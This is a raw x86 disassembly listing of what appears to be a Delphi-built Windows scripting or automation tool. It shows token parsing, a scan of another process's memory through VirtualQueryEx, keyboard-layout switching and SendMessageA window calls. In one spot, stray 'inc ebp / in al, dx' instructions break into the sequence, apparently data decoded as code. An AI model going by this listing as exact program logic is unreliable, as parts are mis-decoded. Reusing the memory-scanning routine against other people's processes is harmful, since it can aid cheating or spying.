push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x54817b
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
dec eax
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, byte [ebp - 0x251]
jne 0x5482af
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc58]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc58]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x54823b
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
sub eax, 0x100
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, byte [ebp - 0x89b]
jne 0x54839b
mov dword [ebp - 0x74], 2
mov bl, 1
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x68]
jg 0x548345
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x74]
mov edx, dword [ebp - 0xa4]
lea eax, [edx + eax - 1]
mov al, byte [eax]
mov edx, dword [ebp - 0x74]
cmp al, byte [ebp + edx - 0x89c]
je 0x54833a
xor ebx, ebx
jmp 0x548345
inc dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x68]
jle 0x548318
test bl, bl
je 0x54839b
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc5c]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc5c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x5482e1
jmp case.0x547cfa.98
lea eax, [ebp - 0x1c]
mov edx, 0x5539a4
call fcn.00405070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5483da
mov eax, dword [ebp - 0xa4]
call fcn.00402a88
or eax, 0xffffffff
sub eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x780]
jb 0x548426
mov eax, dword [ebp - 0x780]
add dword [ebp - 0x118], eax
push 0x1c
lea eax, [ebp - 0x78c]
push eax
mov eax, dword [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.KERNEL32.DLL_VirtualQueryEx
test eax, eax
jne 0x547c22
mov eax, dword [ebp - 0x10]
dec eax
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x548490
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
jmp 0x548490
lea eax, [ebp - 0x1c]
mov edx, 0x5539b0
call fcn.00405070
jmp 0x548490
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x5484b3
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x548512
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54850f
mov bl, 1
jmp 0x54855d
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x54855d
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5484fe
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x5485ab
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x54858b
dec al
je 0x548595
jmp 0x54859b
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x54859b
dec dword [ebp - 0x84]
test bl, bl
je 0x5485a8
cmp dword [ebp - 0x84], 0
je 0x5485b8
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x548577
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
jmp 0x5485f7
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x548631
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x5485e5
jmp 0x548631
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x1c]
mov bl, byte [edx + eax - 1]
mov esi, 0x553a40
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, dword [0x59046c]
mov cl, 0x20
call fcn.00403c6c
and ebx, 0xff
bt dword [ebp - 0x9cc], ebx
jae 0x54861a
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov byte [ebp - 0xd4], al
mov al, byte [ebp - 0xd4]
sub al, 0x23
je 0x5489a1
dec al
je 0x548961
dec al
jne 0x5489e1
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov edx, dword [ebp - 0x1c]
mov eax, 0x553a68
call fcn.004055dc
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jbe 0x548885
lea eax, [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov ecx, eax
mov edx, dword [ebp - 0x210]
inc edx
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
jmp 0x54870e
mov eax, dword [ebp - 0x98]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x98]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x98]
call fcn.00405298
mov edx, dword [ebp - 0x98]
cmp byte [edx + eax - 1], 0x5d
jne 0x5486f1
mov eax, dword [ebp - 0x98]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x98]
mov ecx, 1
call fcn.00405538
lea eax, [ebp - 0xc60]
push eax
lea eax, [ebp - 0xc64]
mov ecx, dword [ebp - 0x98]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc64]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xc60]
lea eax, [ebp - 0x98]
call fcn.00405070
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x210]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
jmp 0x5487b3
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + eax - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x54879c
lea eax, [ebp - 0xc68]
push eax
lea eax, [ebp - 0xc6c]
mov ecx, dword [ebp - 0x98]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc6c]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
cmp dword [ebp - 0xc68], 0
je 0x54887b
lea eax, [ebp - 0xc70]
push eax
push 0x553a74
push dword [ebp - 0x1c]
push 0x553a84
push dword [ebp - 0x98]
push 0x553a90
lea eax, [ebp - 0xc74]
mov edx, 5
call fcn.00405358
mov edx, dword [ebp - 0xc74]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xc70]
lea eax, [ebp - 0x98]
call fcn.00405070
mov eax, dword [ebp - 0x98]
call fcn.00405298
lea edx, [ebp - 0x1c]
call fcn.0040b57c
mov dword [ebp - 0x210], 2
jmp 0x548885
mov dword [ebp - 0x210], 1
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x210]
sub eax, 1
jb 0x5488a4
je 0x548901
jmp 0x548a02
xor eax, eax
push ebp
push 0x5488e5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x84]
push eax
push 0
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.005550b4
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x548a02
xor eax, eax
push ebp
push 0x548945
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x84]
push eax
push 0
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.005550b4
mov eax, dword [ebp - 0x84]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x548a02
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xc78]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc78]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x98]
call fcn.00405298
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x548a02
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xc7c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc7c]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x98]
call fcn.00405298
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x548a02
mov eax, dword [ebp - 0x1c]
call fcn.00405298
lea edx, [ebp - 0xc80]
call fcn.0040b57c
mov edx, dword [ebp - 0xc80]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
cmp eax, dword [ebp - 0xc8]
jne 0x548a48
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp 0x548a68
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0xd0]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43c4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43cc]
push eax
call sub.user32.dll_GetKeyboardLayout
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
shr eax, 0x10
mov edx, dword [ebp - 0x10]
and edx, 0xffff
cmp eax, edx
jne 0x548af7
mov eax, dword [ebp - 0x10]
shr eax, 0x10
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x1c]
mov eax, 8
call fcn.0040b6b8
jmp 0x548b0b
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x1c]
mov eax, 8
call fcn.0040b6b8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x548b47
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x548b44
mov bl, 1
jmp 0x548b92
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x548b92
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x548b33
test bl, bl
je 0x548d3f
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x548bd8
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x548bb8
dec al
je 0x548bc2
jmp 0x548bc8
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x548bc8
dec dword [ebp - 0x84]
test bl, bl
je 0x548bd5
cmp dword [ebp - 0x84], 0
je 0x548be5
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x548ba4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc ebp
in al, dx
inc ebp
in al, dx
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0xc88]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc88]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xc84]
lea eax, [ebp - 0x1c]
call fcn.00405070
jmp 0x548c5d
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x548c97
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x548c4b
jmp 0x548c97
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + eax - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x548c80
jmp 0x548cc8
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553a00
call fcn.004052e4
mov eax, dword [ebp - 0x1c]
call fcn.00405298
cmp eax, 8
jl 0x548cb8
push 2
mov eax, dword [ebp - 0x1c]
call fcn.00405498
push eax
call sub.user32.dll_LoadKeyboardLayoutA
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push 1
push 0x50
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c4]
push eax
call sub.user32.dll_SendMessageA
cmp dword [ebp - 0x10], 0
jne 0x548d14
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp 0x548d21
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
call fcn.00405580
mov eax, dword [ebp - 0x4c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x21c]
push eax
call sub.user32.dll_GetCursorPos
push dword [ebp - 0x218]
push dword [ebp - 0x21c]
call sub.user32.dll_WindowFromPoint
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
call fcn.0053dd6c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x650]
push eax
push pe_nt_image_headers32
push 0xd
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_SendMessageA
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jbe 0x548e60
push 0
push 0
push 0xb0
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_SendMessageA
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jbe 0x548e24
mov ax, word [ebp - 0x118]
mov word [ebp - 0x110], ax
mov eax, dword [ebp - 0x118]
call fcn.004084ac
mov word [ebp - 0x112], ax
jmp 0x548e3b
mov word [ebp - 0x110], 0
mov ax, word [ebp - 0x84]
mov word [ebp - 0x112], ax
movzx eax, word [ebp - 0x112]
mov byte [ebp + eax - 0x650], 0
movzx eax, word [ebp - 0x110]
lea eax, [ebp + eax - 0x650]
mov dword [ebp - 0xa4], eax
jmp 0x548e6b
mov eax, 0x553a94
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xa4]
call fcn.004051d0
cmp byte [ebp - 0x195], 0
je 0x548e9c
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x548ed8
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x548ed5
mov bl, 1
jmp 0x548f23
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x548f23
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x548ec4
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x548f69
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x548f49
dec al
je 0x548f53
jmp 0x548f59
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x548f59
dec dword [ebp - 0x84]
test bl, bl
je 0x548f66
cmp dword [ebp - 0x84], 0
je 0x548f76
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x548f35
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov eax, dword [ebp - 0x18]
call fcn.0053dd6c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
call fcn.004054f0
push eax
push 1
push 0xc2
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x43dc]
call fcn.00405070
jmp 0x549017
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
cmp byte [eax], 0x5e
je 0x549005
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x54905b
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x549058
mov bl, 1
jmp 0x5490a6
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x5490a6
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x549047
test bl, bl
je 0x549225
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x5490ec
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x5490cc
dec al
je 0x5490d6
jmp 0x5490dc
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x5490dc
dec dword [ebp - 0x84]
test bl, bl
je 0x5490e9
cmp dword [ebp - 0x84], 0
je 0x5490f9
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x5490b8
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x5491d3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc8c]
push eax
lea eax, [ebp - 0xc90]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc90]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xc8c]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea eax, [ebp - 0xc94]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov eax, dword [ebp - 0xc94]
mov edx, 0x553aa0
call fcn.004053e4
je 0x5491a6
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553aa0
call fcn.004052e4
mov eax, dword [ebp - 0x1c]
call fcn.0040b75c
push edx
push eax
lea eax, [ebp - 0xc98]
call fcn.0040b668
mov edx, dword [ebp - 0xc98]
lea eax, [ebp - 0x1c]
call fcn.00405070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54920a
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x549249
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x549249
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553ab4
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x5523d0
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x54928d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54928a
mov bl, 1
jmp 0x5492d8
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x5492d8
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x549279
test bl, bl
je 0x54942f
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x54931e
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x5492fe
dec al
je 0x549308
jmp 0x54930e
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x54930e
dec dword [ebp - 0x84]
